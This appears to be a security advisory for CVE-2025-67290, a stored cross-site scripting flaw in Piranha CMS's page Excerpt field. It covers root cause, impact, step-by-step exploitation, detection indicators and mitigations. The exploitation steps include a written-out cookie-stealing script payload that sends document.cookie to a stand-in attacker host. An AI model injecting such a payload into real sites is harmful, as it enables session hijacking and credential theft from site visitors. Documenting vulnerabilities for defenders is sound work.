CVE-2025-67290: 
C# vulnerability analysis and mitigation

CVE-2025-67290 is a stored cross-site scripting (XSS) vulnerability in the Page Settings module of Piranha CMS v12.1, classified under CWE-79. It allows attackers with page creation or editing privileges to inject malicious JavaScript or HTML via the Excerpt field, which is then executed in the browsers of users who view the affected page. The vulnerability was published on December 22, 2025, by MITRE, with initial analysis completed by NIST on January 2, 2026. It carries a CVSS v3.1 base score of 6.1 (Medium), as assessed by CISA-ADP (Github Advisory, Feedly).

The root cause is improper neutralization of user-supplied input (CWE-79) in the Excerpt field of Piranha CMS's Page Settings module. When a page is created or edited, the application stores the Excerpt field content without adequate sanitization or HTML/JavaScript filtering. Upon page preview or public access, the stored payload is rendered directly in the browser, triggering script execution. Exploitation requires an authenticated account with page creation or editing permissions, and a separate victim user must view the affected page for the payload to execute (Github PoC, Github Advisory).

Successful exploitation allows injected scripts to execute in the context of any user's browser who views the affected page, enabling session cookie theft, credential harvesting, website defacement, and unauthorized actions performed on behalf of authenticated users. The scope is changed (S:C), meaning the impact extends beyond the vulnerable component to the user's browser environment. Availability is not directly impacted, but confidentiality and integrity of user sessions and displayed content are at low-to-moderate risk (Feedly, Github Advisory).

A public proof-of-concept (PoC) is available on GitHub, published by researcher vuquyen03, demonstrating the stored XSS via the Excerpt field (Github PoC). As of the time of reporting, there is no evidence of active in-the-wild exploitation or threat actor attribution. The EPSS score is approximately 0.029–0.033%, indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Github Advisory, Feedly).

1. Authentication: Log in to Piranha CMS as an authenticated user with page creation or editing permissions via /manager/login.
2. Navigate to Pages: Go to the Pages section in the CMS manager and create a new page (e.g., Standard Page or Standard Archive Page) or select an existing one to edit.
3. Inject payload: Open the page settings panel and insert a malicious JavaScript payload into the Excerpt field (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
4. Save the page: Click Save to persist the injected payload in the CMS database.
5. Trigger execution: Preview the page or publish it. When any user (including administrators or site visitors) accesses or previews the page, the injected JavaScript executes in their browser.
6. Achieve objective: The attacker receives stolen session cookies, credentials, or other sensitive data, enabling session hijacking or further unauthorized actions (Github PoC).

• Logs: CMS audit logs showing unexpected creation or modification of pages with unusual content in the Excerpt field; web server access logs showing requests to page preview or public page URLs from unfamiliar IPs shortly after page edits.
• File System / Database: Database records in the Piranha CMS pages table containing <script>, javascript:, onerror=, or other HTML event handler patterns in the Excerpt column.
• Network: Outbound HTTP requests from victim browsers to external attacker-controlled domains (e.g., cookie-stealing endpoints) originating from page view events; unusual POST requests to /manager/api/page/save containing script tags in the excerpt parameter.
• Process/Application Behavior: Unexpected JavaScript execution errors or alerts appearing on Piranha CMS-hosted pages; user-reported browser pop-ups or redirects when visiting specific CMS pages (Github PoC).

The GitHub Advisory Database lists affected versions as <= 12.0.0 for the NuGet package, with no patched version currently specified, suggesting the fix status for v12.1 is unclear (Github Advisory). As an immediate workaround, restrict access to the Page Settings and page editing functionality to trusted administrators only. Implement server-side input validation and output encoding for the Excerpt field to strip or escape HTML/JavaScript content. Review all existing page excerpts for injected payloads and monitor audit logs for suspicious modifications.